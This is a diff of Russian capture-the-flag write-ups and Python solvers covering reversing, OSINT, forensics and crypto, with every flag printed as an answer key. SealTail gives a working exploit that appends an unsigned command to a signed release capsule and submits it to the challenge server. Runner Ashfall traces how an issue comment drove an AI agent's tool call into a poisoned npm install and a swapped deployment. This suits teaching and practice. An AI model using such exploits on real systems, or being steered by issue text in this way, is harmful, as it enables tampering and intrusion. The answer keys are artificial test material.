В Ghidra или IDA видим `validate_frame`, проверку CRC16 и обработку регистров. Рядом со строками и кодом валидации встречаются `MMIRCFG` и `modbus-mirror`. Первый похож на сигнатуру контейнера, второй используется как XOR-ключ.
|
||||
|
||||
Разметка блока оказывается такой:
|
||||
|
||||
```text
|
||||
MMIRCFG | длина u32 LE | зашифрованный JSON
|
||||
```
|
||||
|
||||
Длина нужна, чтобы отделить полезные данные от остального ELF. Находим маркер, читаем размер и берём ровно соответствующий фрагмент:
|
||||
|
||||
```python
|
||||
from pathlib import Path
|
||||
import json
|
||||
|
||||
data = Path("public/modbus_mirror").read_bytes()
|
||||
pos = data.index(b"MMIRCFG") + len(b"MMIRCFG")
|
||||
size = int.from_bytes(data[pos:pos + 4], "little")
|
||||
blob = data[pos + 4:pos + 4 + size]
|
||||
key = b"modbus-mirror"
|
||||
plain = bytes(b ^ key[i % len(key)] for i, b in enumerate(blob))
|
||||
print(json.loads(plain)["service"])
|
||||
```
|
||||
|
||||
После XOR получаем JSON с зеркалом регистров. Поле `service` содержит сервисный ключ — это и есть флаг. Логика Modbus помогла найти место использования конфига, но генерировать корректные кадры для решения не требуется.
|
||||
|
||||
[Солвер](solve/solve.py).
|
||||
|
||||
## Флаг
|
||||
|
||||
`caplag{ladder_registers_reflected_the_service_key}`
|
||||
@@ -0,0 +1,20 @@
|
||||
#!/usr/bin/env python3
|
||||
from pathlib import Path
|
||||
import argparse, base64, hashlib, json, lzma, marshal, os, plistlib, re, struct, subprocess, sys, zipfile, zlib
|
||||
|
||||
def xor(data, key):
|
||||
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
|
||||
|
||||
def find_after(data, marker):
|
||||
off = data.index(marker) + len(marker)
|
||||
ln = struct.unpack_from('<I', data, off)[0]
|
||||
off += 4
|
||||
return data[off:off+ln]
|
||||
|
||||
def main():
|
||||
ap=argparse.ArgumentParser(); ap.add_argument('bin', nargs='?', default='../public/modbus_mirror'); args=ap.parse_args()
|
||||
data=Path(args.bin).read_bytes(); off=data.index(b'MMIRCFG')+7
|
||||
ln=struct.unpack_from('<I', data, off)[0]; off += 4
|
||||
cfg=json.loads(xor(data[off:off+ln], b'modbus-mirror'))
|
||||
print(cfg['service'])
|
||||
if __name__=='__main__': main()
|
||||
@@ -0,0 +1,86 @@
|
||||
<h1 align="center">Призрачный самолёт</h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/category-OSINT-blueviolet" alt="OSINT"/>
|
||||
</p>
|
||||
|
||||
На старте есть изображение аэропорта. По нему нужно найти «криминального брата» пострадавшего двухдвигательного самолёта. В ответе нужны название аэропорта с изображения, регистрационный номер найденного самолёта и его последние известные координаты. Сначала определяем аэропорт на изображении.
|
||||
|
||||
<p align="center">
|
||||
<img src="assets/higuerote.png" alt="Исходное изображение аэропорта Игероте" width="720"/>
|
||||
</p>
|
||||
|
||||
## Решение
|
||||
|
||||
По изображению находим [Higuerote Airport на Flightsim.to](https://flightsim.to/file/14146/higuerote-airport-svhg). Это **Игероте, Венесуэла**. Картинка относится к сценарию аэропорта для симулятора, но даёт название места для дальнейшего поиска.
|
||||
|
||||
<details>
|
||||
<summary>Поиск сообщений об Игероте</summary>
|
||||
|
||||
<p align="center">
|
||||
<img src="assets/higuerote-search.png" alt="Результаты поиска с сообщениями об обломках на взлётно-посадочной полосе Игероте" width="420"/>
|
||||
</p>
|
||||
|
||||
</details>
|
||||
|
||||
По запросам об Игероте выходим на сообщения об уничтоженных самолётах и [разбор атаки на Air Power Asia](https://airpowerasia.com/2026/01/11/how-us-airpower-dominance-paved-the-way-to-capture-venezuelas-maduro/). В статье самолёт, уничтоженный в Игероте, назван предположительно **Beechcraft Baron**. Берём это семейство как зацепку для следующего поиска.
|
||||
|
||||
<p align="center">
|
||||
<img src="assets/baron-identification.png" alt="Фрагмент Air Power Asia с предположением о модели Beechcraft Baron" width="720"/>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<img src="assets/aircraft-wreck.png" alt="Кадр с повреждённым двухдвигательным самолётом в Игероте" width="420"/>
|
||||
</p>
|
||||
|
||||
<details>
|
||||
<summary>Спутниковый снимок аэропорта после атаки</summary>
|
||||
|
||||
<p align="center">
|
||||
<img src="assets/higuerote-satellite.png" alt="Спутниковый снимок Игероте с отмеченным повреждённым самолётом" width="720"/>
|
||||
</p>
|
||||
|
||||
</details>
|
||||
|
||||
Теперь ищем исчезнувшие Beechcraft Baron, связанные с Венесуэлой. Находим [запись Aviation Safety Network](https://aviation-safety.net/wikibase/232818): **Beechcraft 58 Baron**, регистрация `YV3338`, серийный номер `TH-485`. В карточке описан сгоревший самолёт, найденный в Белизе и связанный с перевозкой наркотиков. По приведённым сообщениям СМИ, это мог быть YV3338, незадолго до того исчезнувший в Венесуэле. Связь с перевозкой наркотиков соответствует подсказке про «криминального брата», поэтому дальше проверяем регистрационный номер.
|
||||
|
||||
<p align="center">
|
||||
<img src="assets/yv3338-record.png" alt="Карточка Beechcraft 58 Baron: YV3338, MSN TH-485" width="720"/>
|
||||
</p>
|
||||
|
||||
Регистрационный номер приводит к [новости El Nacional об исчезновении рейса Анако — Маракайбо](https://www.elnacional.com/2020/02/declaran-desaparecida-aeronave-que-salio-desde-anaco-hacia-maracaibo/). В ней есть ссылки на сообщения в X, в том числе [пост MeteoZulia](https://x.com/MeteoZulia/status/1225421481313808390) с последней позицией самолёта.
|
||||
|
||||
<p align="center">
|
||||
<img src="assets/news-posts.png" alt="Сообщения о потере связи с YV3338, встроенные в новость El Nacional" width="720"/>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<img src="assets/last-position.png" alt="Пост MeteoZulia с YV3338 и координатами на карте" width="480"/>
|
||||
</p>
|
||||
|
||||
Открываем карту из поста в полном размере и читаем `10°04'06"N 71°12'34"W`.
|
||||
|
||||
<p align="center">
|
||||
<img src="assets/coordinates-map.png" alt="Карта последнего контакта с YV3338 с координатами у озера Маракайбо" width="560"/>
|
||||
</p>
|
||||
|
||||
Для ответа используем последнюю зафиксированную позицию, а не место, где позже нашли самолёт.
|
||||
|
||||
| Что нашли | Значение |
|
||||
|---|---|
|
||||
| Аэропорт с исходной картинки | `Higuerote` |
|
||||
| Модель | `Beechcraft 58 Baron` |
|
||||
| Регистрационный номер | `YV3338` |
|
||||
| Последняя позиция | `10°04'06"N 71°12'34"W` |
|
||||
|
||||
Флаг собираем из названия аэропорта, регистрации YV3338 и координат последнего контакта, сохраняя градусы, минуты и секунды.
|
||||
|
||||
## Флаг
|
||||
|
||||
`Caplag{Higuerote_YV3338_10°04'06"N 71°12'34"W}`
|
||||
|
||||
Самолёт объявлен в розыск. За вашими бананами уже выехали.
|
||||
|
||||
<p align="center">
|
||||
<img src="assets/banana-aircraft.png" alt="Шуточная иллюстрация с амёбой, самолётами и погоней за бананами на аэродроме" width="720"/>
|
||||
</p>
|
||||
|
After Width: | Height: | Size: 338 KiB |
|
After Width: | Height: | Size: 2.3 MiB |
|
After Width: | Height: | Size: 44 KiB |
|
After Width: | Height: | Size: 980 KiB |
|
After Width: | Height: | Size: 6.5 MiB |
|
After Width: | Height: | Size: 274 KiB |
|
After Width: | Height: | Size: 1.3 MiB |
|
After Width: | Height: | Size: 261 KiB |
|
After Width: | Height: | Size: 82 KiB |
|
After Width: | Height: | Size: 66 KiB |
@@ -0,0 +1,91 @@
|
||||
<h1 align="center">Runner Ashfall</h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/category-Forensic-blueviolet" alt="Forensic"/>
|
||||
<img src="https://img.shields.io/badge/difficulty-hard-critical" alt="hard"/>
|
||||
</p>
|
||||
|
||||
В `runner_ashfall_case.zip` собраны следы инцидента в CI/CD: комментарий к issue, действия агента, установка npm-пакета, облачная авторизация и деплой. Первые девять ответов восстанавливаем по журналам. Из них получаем ключ к финальной заметке с десятым флагом.
|
||||
|
||||
## Решение
|
||||
|
||||
Распаковываем архив. Полезные артефакты удобно разделить по участкам цепочки:
|
||||
|
||||
| Каталог | Содержимое |
|
||||
|---|---|
|
||||
| `github/`, `agent/` | Issue, вызовы инструментов, CI run и attestation |
|
||||
| `repo/`, `npm/` | Lockfile до и после, индекс кеша и копия `preinstall.js` |
|
||||
| `runner/` | События процессов и файлов |
|
||||
| `cloud/` | OIDC-токены, CloudTrail и закрывающая заметка |
|
||||
| `registry/`, `kubernetes/` | События образов и фактическое обновление deployment |
|
||||
|
||||
### Комментарий и запуск CI (Q01–Q03)
|
||||
|
||||
В `github/audit_log.jsonl` ищем `issue_comment.created` с меткой `release-triage` и объектом `agent_route`. Его `source_key` — `issue-1842-comment-7f31`, первый ответ. Похожий комментарий с меткой `docs` дальше в эту цепочку не попадает.
|
||||
|
||||
В `agent/triage_assistant.jsonl` ищем событие `tool_call`, у которого `input.from_issue` совпадает с найденным `source_key`. У вызова `deploy_plan.render` читаем `tool_call_id`, равный `tool.deploy_plan.render:6d91c0`. Это второй ответ.
|
||||
|
||||
В `github/actions/` ищем запуск, у которого `source.tool_call_id` совпадает с найденным вызовом. Подходит `run_8716443.json`, из которого берём `tuple = run-8716443/check-314159265`. С найденными идентификаторами запуска сверяем остальные события.
|
||||
|
||||
### Пакет, кеш и раннер (Q04–Q06)
|
||||
|
||||
Сравниваем `repo/package-lock.before.json` и `repo/package-lock.after.json`. В новом lockfile выделяется зависимость с `hasInstallScript = true`: `@northstar/ledger-seal@2.8.4-ash.3`. Флаг `hasInstallScript` указывает на скрипт установки. Его имя проверяем по событиям раннера.
|
||||
|
||||
В `npm/_cacache/index-v5/ledger-seal-entry.json` сверяем имя и версию пакета, затем читаем `cache_path`. Получаем путь к содержимому кеша — ответ Q05.
|
||||
|
||||
По этому пути ищем процесс в `runner/process_events.jsonl`. У него должны совпасть `run_id=8716443` и `check_run_id=314159265`, а команда содержит `node ... preinstall.js`. Поле `host` даёт `ghr-prod-x64-ephemeral-0c8a7d`, ответ Q06. Другой ephemeral-раннер относится к старому запуску и сюда не подходит.
|
||||
|
||||
### Облачные права и деплой (Q07–Q09)
|
||||
|
||||
Из `jobs[0].job_id` в JSON запуска берём `9317`. В `cloud/oidc_tokens.jsonl` выбираем токен по тройке run/check/job и сохраняем его `sub` целиком. Так получаем Q07 и связываем облачную авторизацию с конкретной работой CI.
|
||||
|
||||
В `cloud/cloudtrail.jsonl` находим `PutObject`, у которого `x-amz-meta-run-id` и `x-amz-meta-check-run-id` совпадают с исследуемым запуском. `responseElements.object_locator` содержит bucket, key и версию объекта — это Q08.
|
||||
|
||||
Остаётся выяснить, что действительно развернули. В `kubernetes/audit.jsonl` ищем `patch` deployment `staging/recon-ledger`. Аннотация `northstar.io/source-object` должна точно совпасть с Q08. Из `requestObject.spec.template.spec.containers[0].image` берём полный адрес образа с digest, ответ Q09.
|
||||
|
||||
> Digest в attestation описывает результат сборки до подмены артефакта. Для ответа о деплое нужен образ из Kubernetes patch, связанный с конкретной версией объекта.
|
||||
|
||||
### Финальная заметка (Q10)
|
||||
|
||||
`cloud/final_closeout.note` содержит `nonce`, `ciphertext` и `mac`. `nonce` и `ciphertext` переводим из hex в байты, `mac` оставляем hex-строкой. Ответы Q01–Q09 записываем строками в список `raw_answers` **без** оболочки `caplag{...}`, сохраняя порядок. Для ключа соединяем их разделителем `|`.
|
||||
|
||||
```python
|
||||
import hashlib
|
||||
|
||||
key = hashlib.sha256("|".join(raw_answers).encode()).digest()
|
||||
expected_mac = hashlib.sha256(key + nonce + ciphertext).hexdigest()
|
||||
assert expected_mac == mac
|
||||
```
|
||||
|
||||
Сначала сверяем `expected_mac` с `mac`: ошибка хотя бы в одном ответе даст несовпадение. Затем получаем seed потока и его блоки:
|
||||
|
||||
```python
|
||||
seed = hashlib.sha256(key + nonce).digest()
|
||||
stream = bytearray()
|
||||
counter = 0
|
||||
while len(stream) < len(ciphertext):
|
||||
stream.extend(hashlib.sha256(seed + counter.to_bytes(4, "big")).digest())
|
||||
counter += 1
|
||||
plain = bytes(a ^ b for a, b in zip(ciphertext, stream))
|
||||
```
|
||||
|
||||
Счётчик начинается с нуля. `zip` ограничивает XOR длиной шифротекста. Декодируем `plain` как UTF-8 и разбираем JSON, поле `final_flag` содержит последний ответ.
|
||||
|
||||
Получилась сквозная цепочка событий. Текст issue запустил инструмент агента, тот создал CI run, установка зависимости привела к действиям на раннере, а связанные облачные события — к подменённому деплою. Точные идентификаторы на каждом переходе позволяют отделить её от ложных следов.
|
||||
|
||||
[Солвер](solve/solve.py).
|
||||
|
||||
## Все этапы
|
||||
|
||||
| Этап | Флаг |
|
||||
|---|---|
|
||||
| 1 | `caplag{issue-1842-comment-7f31}` |
|
||||
| 2 | `caplag{tool.deploy_plan.render:6d91c0}` |
|
||||
| 3 | `caplag{run-8716443/check-314159265}` |
|
||||
| 4 | `caplag{@northstar/ledger-seal@2.8.4-ash.3}` |
|
||||
| 5 | `caplag{sha512/6a/2d/6a2dc1e9b4f0d776a8e2b8fd47025703e617b1d9a61b88d5ad7b2c9f2e6a10f4}` |
|
||||
| 6 | `caplag{ghr-prod-x64-ephemeral-0c8a7d}` |
|
||||
| 7 | `caplag{repo:northstar-clearing/recon-ledger:ref:refs/heads/staging:workflow:release.yml:job_id:9317}` |
|
||||
| 8 | `caplag{s3://nstar-stage-artifacts/releases/recon-ledger/2026.05.14/recon-ledger.tgz#v7d4b19e2}` |
|
||||
| 9 | `caplag{registry.local/northstar/recon-ledger@sha256:9c2fd7f0d2b541e0b44267cc8d59a7cf508b1e3a7e422bcf1ac8a2d1377f1cc4}` |
|
||||
| 10 | `caplag{runner_ashfall_ci_blast_radius}` |
|
||||
@@ -0,0 +1,177 @@
|
||||
#!/usr/bin/env python3
|
||||
from __future__ import annotations
|
||||
|
||||
import hashlib
|
||||
import json
|
||||
import sys
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
|
||||
|
||||
def read_text(zf: zipfile.ZipFile, name: str) -> str:
|
||||
return zf.read(name).decode("utf-8")
|
||||
|
||||
|
||||
def read_json(zf: zipfile.ZipFile, name: str) -> Any:
|
||||
return json.loads(read_text(zf, name))
|
||||
|
||||
|
||||
def read_jsonl(zf: zipfile.ZipFile, name: str) -> list[dict[str, Any]]:
|
||||
rows = []
|
||||
for line in read_text(zf, name).splitlines():
|
||||
line = line.strip()
|
||||
if line:
|
||||
rows.append(json.loads(line))
|
||||
return rows
|
||||
|
||||
|
||||
def derive_key(raw_answers: list[str]) -> bytes:
|
||||
return hashlib.sha256("|".join(raw_answers).encode("utf-8")).digest()
|
||||
|
||||
|
||||
def xor_stream(key: bytes, length: int) -> bytes:
|
||||
stream = bytearray()
|
||||
counter = 0
|
||||
while len(stream) < length:
|
||||
stream.extend(hashlib.sha256(key + counter.to_bytes(4, "big")).digest())
|
||||
counter += 1
|
||||
return bytes(stream[:length])
|
||||
|
||||
|
||||
def decrypt_closeout(note: bytes, raw_answers: list[str]) -> dict[str, Any]:
|
||||
wrapped = json.loads(note.decode("utf-8"))
|
||||
key = derive_key(raw_answers)
|
||||
nonce = bytes.fromhex(wrapped["nonce"])
|
||||
ciphertext = bytes.fromhex(wrapped["ciphertext"])
|
||||
expected_mac = hashlib.sha256(key + nonce + ciphertext).hexdigest()
|
||||
if wrapped["mac"] != expected_mac:
|
||||
raise ValueError("closeout note MAC mismatch; one of Q01-Q09 is wrong")
|
||||
stream = xor_stream(hashlib.sha256(key + nonce).digest(), len(ciphertext))
|
||||
plaintext = bytes(a ^ b for a, b in zip(ciphertext, stream))
|
||||
return json.loads(plaintext.decode("utf-8"))
|
||||
|
||||
|
||||
def wrap_answer(value: str) -> str:
|
||||
if value.startswith("caplag{"):
|
||||
return value
|
||||
return f"caplag{{{value}}}"
|
||||
|
||||
|
||||
def recover_raw_answers(zf: zipfile.ZipFile) -> list[str]:
|
||||
raw: list[str] = []
|
||||
|
||||
audit = read_jsonl(zf, "github/audit_log.jsonl")
|
||||
issue_event = next(
|
||||
row
|
||||
for row in audit
|
||||
if row.get("event") == "issue_comment.created"
|
||||
and "release-triage" in row.get("labels", [])
|
||||
and "agent_route" in row
|
||||
)
|
||||
raw.append(issue_event["agent_route"]["source_key"])
|
||||
|
||||
agent = read_jsonl(zf, "agent/triage_assistant.jsonl")
|
||||
tool_call = next(
|
||||
row
|
||||
for row in agent
|
||||
if row.get("event") == "tool_call"
|
||||
and row.get("tool") == "deploy_plan.render"
|
||||
and row.get("input", {}).get("from_issue") == raw[0]
|
||||
)
|
||||
raw.append(tool_call["tool_call_id"])
|
||||
|
||||
run = read_json(zf, "github/actions/run_8716443.json")
|
||||
if run["source"]["tool_call_id"] != raw[1]:
|
||||
raise ValueError("run source does not match recovered tool call")
|
||||
raw.append(run["tuple"])
|
||||
|
||||
lockfile = read_json(zf, "repo/package-lock.after.json")
|
||||
suspicious_pkg = None
|
||||
for package_path, package_info in lockfile["packages"].items():
|
||||
if not package_path.startswith("node_modules/"):
|
||||
continue
|
||||
if package_info.get("hasInstallScript"):
|
||||
package_name = package_path.removeprefix("node_modules/")
|
||||
suspicious_pkg = f"{package_name}@{package_info['version']}"
|
||||
break
|
||||
if suspicious_pkg is None:
|
||||
raise ValueError("no install-script package found")
|
||||
raw.append(suspicious_pkg)
|
||||
|
||||
npm_entry = read_json(zf, "npm/_cacache/index-v5/ledger-seal-entry.json")
|
||||
if f"{npm_entry['package']}@{npm_entry['version']}" != raw[3]:
|
||||
raise ValueError("npm cache entry does not match lockfile package")
|
||||
raw.append(npm_entry["cache_path"])
|
||||
|
||||
runner_events = read_jsonl(zf, "runner/process_events.jsonl")
|
||||
run_id = int(raw[2].split("/", 1)[0].removeprefix("run-"))
|
||||
check_run_id = int(raw[2].split("/", 1)[1].removeprefix("check-"))
|
||||
runner_event = next(
|
||||
row
|
||||
for row in runner_events
|
||||
if row.get("run_id") == run_id
|
||||
and row.get("check_run_id") == check_run_id
|
||||
and raw[4] in row.get("cmd", "")
|
||||
)
|
||||
raw.append(runner_event["host"])
|
||||
|
||||
oidc_tokens = read_jsonl(zf, "cloud/oidc_tokens.jsonl")
|
||||
job_id = run["jobs"][0]["job_id"]
|
||||
oidc = next(
|
||||
row
|
||||
for row in oidc_tokens
|
||||
if row.get("run_id") == run_id
|
||||
and row.get("check_run_id") == check_run_id
|
||||
and row.get("job_id") == job_id
|
||||
)
|
||||
raw.append(oidc["sub"])
|
||||
|
||||
cloudtrail = read_jsonl(zf, "cloud/cloudtrail.jsonl")
|
||||
put_object = next(
|
||||
row
|
||||
for row in cloudtrail
|
||||
if row.get("eventName") == "PutObject"
|
||||
and row.get("requestParameters", {}).get("x-amz-meta-run-id") == str(run_id)
|
||||
and row.get("requestParameters", {}).get("x-amz-meta-check-run-id") == str(check_run_id)
|
||||
)
|
||||
raw.append(put_object["responseElements"]["object_locator"])
|
||||
|
||||
kube_audit = read_jsonl(zf, "kubernetes/audit.jsonl")
|
||||
deploy_patch = next(
|
||||
row
|
||||
for row in kube_audit
|
||||
if row.get("verb") == "patch"
|
||||
and row.get("objectRef", {}).get("resource") == "deployments"
|
||||
and row.get("objectRef", {}).get("name") == "recon-ledger"
|
||||
and row.get("requestObject", {})
|
||||
.get("metadata", {})
|
||||
.get("annotations", {})
|
||||
.get("northstar.io/source-object")
|
||||
== raw[7]
|
||||
)
|
||||
image = deploy_patch["requestObject"]["spec"]["template"]["spec"]["containers"][0]["image"]
|
||||
raw.append(image)
|
||||
|
||||
return raw
|
||||
|
||||
|
||||
def solve_bundle(bundle_path: str | Path) -> list[str]:
|
||||
with zipfile.ZipFile(bundle_path) as zf:
|
||||
raw = recover_raw_answers(zf)
|
||||
closeout = decrypt_closeout(zf.read("cloud/final_closeout.note"), raw)
|
||||
return [wrap_answer(value) for value in raw] + [wrap_answer(closeout["final_flag"])]
|
||||
|
||||
|
||||
def main(argv: list[str]) -> int:
|
||||
if len(argv) != 2:
|
||||
print(f"usage: {Path(argv[0]).name} public/runner_ashfall_case.zip", file=sys.stderr)
|
||||
return 2
|
||||
answers = solve_bundle(argv[1])
|
||||
for idx, answer in enumerate(answers, 1):
|
||||
print(f"Q{idx:02d}: {answer}")
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main(sys.argv))
|
||||
@@ -0,0 +1,54 @@
|
||||
<h1 align="center">SealTail</h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/category-Crypto-blueviolet" alt="Crypto"/>
|
||||
<img src="https://img.shields.io/badge/difficulty-easy-brightgreen" alt="easy"/>
|
||||
</p>
|
||||
|
||||
Релизная очередь принимает `release.capsule`: заголовок, RSA-подпись и команды в TLV-формате. В заголовке есть `signed_len` — длина подписанной части. Проверяющий использует именно её, а очередь после успешной проверки разбирает весь payload до конца файла.
|
||||
|
||||
## Решение
|
||||
|
||||
Сначала прогоняем исходную капсулу через публичный verifier:
|
||||
|
||||
```bash
|
||||
python3 public/verify_capsule.py public/release.capsule
|
||||
```
|
||||
|
||||
Он показывает `signature_valid=True`, `payload_len=181`, `signed_len=181`, `unsigned_tail_len=0`. Пока подпись покрывает весь payload, неподписанного хвоста нет.
|
||||
|
||||
Открываем `FORMAT.md`. Для экспорта карантинного ключа предусмотрен тег `0x42 EXPORT_QUARANTINE_KEY`. TLV-запись состоит из байта тега, двух байт длины в big-endian и значения. Дописываем такую команду в конец капсулы:
|
||||
|
||||
```python
|
||||
from pathlib import Path
|
||||
|
||||
value = (b"lane=quarantine\nrequestor=release-audit\n"
|
||||
b"reason=post-signature-tail-check\n")
|
||||
tail = bytes([0x42]) + len(value).to_bytes(2, "big") + value
|
||||
original = Path("public/release.capsule").read_bytes()
|
||||
Path("modified.capsule").write_bytes(original + tail)
|
||||
```
|
||||
|
||||
Подписанные байты и `signed_len` остались прежними. Проверяем модифицированный файл той же утилитой. Значение `unsigned_tail_len` должно стать больше нуля, а `signature_valid` остаться `True`.
|
||||
|
||||
```bash
|
||||
python3 public/verify_capsule.py modified.capsule
|
||||
```
|
||||
|
||||
Отправляем капсулу в очередь:
|
||||
|
||||
```bash
|
||||
curl -sS --data-binary @modified.capsule \
|
||||
-H 'Content-Type: application/octet-stream' \
|
||||
http://<host>:31337/submit
|
||||
```
|
||||
|
||||
RSA-проверка принимает исходный префикс, затем TLV-парсер доходит до добавленной неподписанной команды и возвращает ключ с флагом.
|
||||
|
||||
> Подпись подтверждает только те байты, которые в неё включили. Если после проверки исполнять ещё и неподписанный хвост, целостность всего релиза она уже не гарантирует.
|
||||
|
||||
[Солвер](solve/solve.py).
|
||||
|
||||
## Флаг
|
||||
|
||||
`caplag{signed_prefix_is_not_a_release}`
|
||||
@@ -0,0 +1,80 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import json
|
||||
import pathlib
|
||||
import re
|
||||
import urllib.request
|
||||
|
||||
|
||||
ACTION_EXPORT_KEY = 0x42
|
||||
|
||||
|
||||
def encode_tlv(tag: int, value: bytes) -> bytes:
|
||||
return bytes([tag]) + len(value).to_bytes(2, "big") + value
|
||||
|
||||
|
||||
def build_modified_capsule(input_path: pathlib.Path, output_path: pathlib.Path) -> bytes:
|
||||
capsule = input_path.read_bytes()
|
||||
tail = encode_tlv(
|
||||
ACTION_EXPORT_KEY,
|
||||
b"lane=quarantine\nrequestor=release-audit\nreason=post-signature-tail-check\n",
|
||||
)
|
||||
modified = capsule + tail
|
||||
output_path.write_bytes(modified)
|
||||
return modified
|
||||
|
||||
|
||||
def submit(url: str, capsule: bytes) -> dict:
|
||||
request = urllib.request.Request(
|
||||
url,
|
||||
data=capsule,
|
||||
headers={"Content-Type": "application/octet-stream"},
|
||||
method="POST",
|
||||
)
|
||||
with urllib.request.urlopen(request, timeout=5) as response:
|
||||
return json.loads(response.read().decode())
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument(
|
||||
"--capsule",
|
||||
default="../public/release.capsule",
|
||||
help="path to the original release capsule",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--out",
|
||||
default="modified.capsule",
|
||||
help="where to write the modified capsule",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--url",
|
||||
default="http://127.0.0.1:31337/submit",
|
||||
help="SealTail /submit endpoint",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--no-submit",
|
||||
action="store_true",
|
||||
help="only write the modified capsule",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
capsule_path = pathlib.Path(args.capsule)
|
||||
output_path = pathlib.Path(args.out)
|
||||
modified = build_modified_capsule(capsule_path, output_path)
|
||||
print(f"wrote {output_path} ({len(modified)} bytes)")
|
||||
|
||||
if args.no_submit:
|
||||
return 0
|
||||
|
||||
result = submit(args.url, modified)
|
||||
print(json.dumps(result, indent=2, sort_keys=True))
|
||||
flag = result.get("flag")
|
||||
if not isinstance(flag, str) or not re.fullmatch(r"caplag\{[^{}]+\}", flag):
|
||||
raise SystemExit("flag was not returned")
|
||||
print(flag)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -0,0 +1,52 @@
|
||||
<h1 align="center">ShardSlope</h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/category-Crypto-blueviolet" alt="Crypto"/>
|
||||
<img src="https://img.shields.io/badge/difficulty-easy-brightgreen" alt="easy"/>
|
||||
</p>
|
||||
|
||||
В `escrow_export.json` лежат две группы долей секрета по схеме Шамира с порогом `threshold = 2`. У калибровочной группы есть две доли, у карантинной — только одна. Для карантинного секрета одной доли обычно недостаточно. Но в экспорте обе группы имеют одинаковый `rng_cache_id` — проверяем, не переиспользован ли случайный коэффициент.
|
||||
|
||||
## Решение
|
||||
|
||||
При пороге два доли — точки на прямой над конечным полем:
|
||||
|
||||
$$y = s + ax \pmod p,$$
|
||||
|
||||
где $s$ — секрет, а $a$ — случайный коэффициент наклона. Для каждого секрета коэффициент должен выбираться заново. Общий `rng_cache_id` позволяет предположить, что worker мог переиспользовать его между `calibration_batch` и `quarantine_batch`. Вычисляем коэффициент по калибровочной группе и проверяем, даст ли он осмысленный второй секрет.
|
||||
|
||||
В раздатке есть `recover.py`, который восстанавливает калибровочный секрет из двух точек. По этим же точкам вычисляем наклон.
|
||||
|
||||
$$a = (y_2-y_1)(x_2-x_1)^{-1} \pmod p.$$
|
||||
|
||||
Когда $a$ известен, одной карантинной доли $(x,y)$ уже хватает для расчёта $s = y-ax \pmod p$. Повторяем расчёт на Python:
|
||||
|
||||
```python
|
||||
from pathlib import Path
|
||||
import json
|
||||
|
||||
data = json.loads(Path("public/escrow_export.json").read_text())
|
||||
p = int(data["field_prime"])
|
||||
first, second = data["calibration_batch"]["shares"][:2]
|
||||
x1, y1 = int(first["x"]), int(first["y"])
|
||||
x2, y2 = int(second["x"]), int(second["y"])
|
||||
slope = (y2 - y1) * pow(x2 - x1, -1, p) % p
|
||||
|
||||
share = data["quarantine_batch"]["shares"][0]
|
||||
secret = (int(share["y"]) - slope * int(share["x"])) % p
|
||||
```
|
||||
|
||||
Остаётся перевести число в байты в big-endian:
|
||||
|
||||
```python
|
||||
raw = secret.to_bytes(max(1, (secret.bit_length() + 7) // 8), "big")
|
||||
print(raw.decode())
|
||||
```
|
||||
|
||||
Получаем строку флага. Коэффициент, вычисленный по калибровочной группе, позволил восстановить карантинный секрет по одной доле.
|
||||
|
||||
[Солвер](solve/solve.py).
|
||||
|
||||
## Флаг
|
||||
|
||||
`caplag{slope_reuse_breaks_2of3_escrow}`
|
||||
@@ -0,0 +1,51 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import json
|
||||
import pathlib
|
||||
import re
|
||||
|
||||
|
||||
def inv(value: int, prime: int) -> int:
|
||||
return pow(value % prime, -1, prime)
|
||||
|
||||
|
||||
def int_to_bytes(value: int) -> bytes:
|
||||
return value.to_bytes(max(1, (value.bit_length() + 7) // 8), "big")
|
||||
|
||||
|
||||
def recover_slope(share_a: dict, share_b: dict, prime: int) -> int:
|
||||
x1, y1 = int(share_a["x"]), int(share_a["y"])
|
||||
x2, y2 = int(share_b["x"]), int(share_b["y"])
|
||||
return ((y2 - y1) * inv(x2 - x1, prime)) % prime
|
||||
|
||||
|
||||
def recover_secret(share: dict, slope: int, prime: int) -> int:
|
||||
return (int(share["y"]) - slope * int(share["x"])) % prime
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument(
|
||||
"export",
|
||||
nargs="?",
|
||||
default="../public/escrow_export.json",
|
||||
help="path to escrow_export.json",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
data = json.loads(pathlib.Path(args.export).read_text())
|
||||
prime = int(data["field_prime"])
|
||||
calibration = data["calibration_batch"]["shares"]
|
||||
production_share = data["quarantine_batch"]["shares"][0]
|
||||
|
||||
slope = recover_slope(calibration[0], calibration[1], prime)
|
||||
secret_int = recover_secret(production_share, slope, prime)
|
||||
flag = int_to_bytes(secret_int).decode()
|
||||
if not re.fullmatch(r"caplag\{[^{}]+\}", flag):
|
||||
raise SystemExit("recovered secret is not a caplag flag")
|
||||
print(flag)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -0,0 +1,52 @@
|
||||
<h1 align="center">TagPreview</h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/category-Crypto-blueviolet" alt="Crypto"/>
|
||||
<img src="https://img.shields.io/badge/difficulty-easy-brightgreen" alt="easy"/>
|
||||
</p>
|
||||
|
||||
